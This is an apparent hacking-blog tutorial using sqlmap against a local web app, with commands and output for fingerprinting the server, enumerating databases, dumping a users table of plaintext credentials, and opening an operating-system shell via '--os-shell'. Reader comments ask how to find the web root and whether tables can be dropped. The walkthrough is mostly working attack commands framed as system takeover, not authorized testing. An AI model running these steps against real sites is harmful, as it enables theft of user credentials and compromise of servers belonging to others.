09.02
SQLMap is the tool to automate SQL Injection vulnerability exploitation. This tool is very popular to exploit the SQL Injection vulnerability. While most of web hacker enthusiast knew about this tool to gather information and retrieves the tables information, i try to share this information about the powerful of SQLMap rather than just as “a database dumper tool”.
I will separate this in 3 section, as a fingerprinter (we already knew this), as an enumerator (of course), and as a destroyer (hmm..?!). Check it out.
Fingerprinting
root@bt:/pentest/database/sqlmap# ./sqlmap.py –url “http://192.168.1.102/vid.php?id=818″
sqlmap/0.9-dev – automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 22:26:52
[22:26:52] [INFO] using ‘/pentest/database/sqlmap/output/192.168.1.102/session’ as session file
[22:26:52] [INFO] resuming match ratio ’0.972′ from session file
[22:26:52] [INFO] resuming injection point ‘GET’ from session file
[22:26:52] [INFO] resuming injection parameter ‘id’ from session file
[22:26:52] [INFO] resuming injection type ‘numeric’ from session file
[22:26:52] [INFO] resuming 0 number of parenthesis from session file
[22:26:52] [INFO] resuming back-end DBMS ‘mysql 5′ from session file
[22:26:52] [INFO] resuming remote absolute path of temporary files directory ‘C:/WINDOWS/Temp’ from session file
[22:26:52] [INFO] testing connection to the target url
[22:26:52] [INFO] testing for parenthesis on injectable parameter
[22:26:52] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.12, PHP 5.3.0
back-end DBMS: MySQL 5
[*] shutting down at: 22:26:52
Yes, we knew this at all. Dump the database engine, the version, and the operating system information.
Enumerate Database
root@bt:/pentest/database/sqlmap# ./sqlmap.py –url “http://192.168.1.102/vid.php?id=818″ –dbs
———————————————————————
[22:28:41] [INFO] fetching database names
[22:28:41] [INFO] fetching number of databases
[22:28:41] [INFO] retrieved: 6
[22:28:41] [INFO] retrieved: information_schema
[22:28:44] [INFO] retrieved: cdcol
[22:28:45] [INFO] retrieved: mysql
[22:28:46] [INFO] retrieved: phpmyadmin
[22:28:47] [INFO] retrieved: test
[22:28:48] [INFO] retrieved: webappdb
available databases [6]:
[*] cdcol
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test
[*] webappdb
Dump the database, yes..SQLMap always do the great stuff!
Enumerate tables
root@bt:/pentest/database/sqlmap# ./sqlmap.py –url “http://192.168.1.102/vid.php?id=818″ -D webappdb –tables
[22:32:32] [INFO] fetching tables for database ‘webappdb’
[22:32:32] [INFO] fetching number of tables for database ‘webappdb’
[22:32:32] [INFO] retrieved: 2
[22:32:33] [INFO] retrieved: guestbook
[22:32:34] [INFO] retrieved: users
Database: webappdb
[2 tables]
+———–+
| guestbook |
| users |
+———–+
Dump the tables
[22:36:54] [INFO] fetching columns for table ‘users’ on database ‘webappdb’
[22:36:54] [INFO] fetching number of columns for table ‘users’ on database ‘webappdb’
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: 4
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: id
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: name
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: password
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: country
[22:36:54] [INFO] fetching entries for table ‘users’ on database ‘webappdb’
[22:36:54] [INFO] fetching number of entries for table ‘users’ on database ‘webappdb’
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: 3
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: ID
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: 1
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: admin
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: 123456
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: ID
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: 2
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: secret
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: password
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: SG
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: 3
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: backup
[22:36:54] [INFO] read from file ‘/pentest/database/sqlmap/output/192.168.1.102/session’: backup12
Database: webappdb
Table: users
[3 entries]
+———+—-+——–+———-+
| country | id | name | password |
+———+—-+——–+———-+
| ID | 1 | admin | 123456 |
| ID | 2 | secret | password |
| SG | 3 | backup | backup12 |
+———+—-+——–+———-+
[22:36:54] [INFO] Table ‘webappdb.users’ dumped to CSV file ‘/pentest/database/sqlmap/output/192.168.1.102/dump/webappdb/users.csv’
[22:36:54] [INFO] Fetched data logged to text files under ‘/pentest/database/sqlmap/output/192.168.1.102′
[*] shutting down at: 22:36:54
SQLMap do a great job so far
Next, take over the system!!
Remote Command Execution
root@bt:/pentest/database/sqlmap# ./sqlmap.py –url “http://192.168.1.102/vid.php?id=818″ –os-shell
[22:51:25] [INFO] trying to upload the uploader agent
which web application language does the web server support?
OS Pwned!

nice bro
Why did you removed the dump command in your “Dump the tables” ?
Hi lol, actually i didn’t remove the command. It’s still there.
./sqlmap.py ––url “http://192.168.1.102/vid.php?id=818″ –D webappdb ––tables
“Dump the tables” part is just a separator to tell the reader that from that part will begin the table dumping
hi
“please provide the web server document root [C:/xampp/htdocs/]:”
how to find correct document root?
well, you don’t know, unless you force the web server to give you the full path? How is it? Trigger an error
Good luck!
is it possible to drop/delete a table?
If you have enough privilege, you might be able to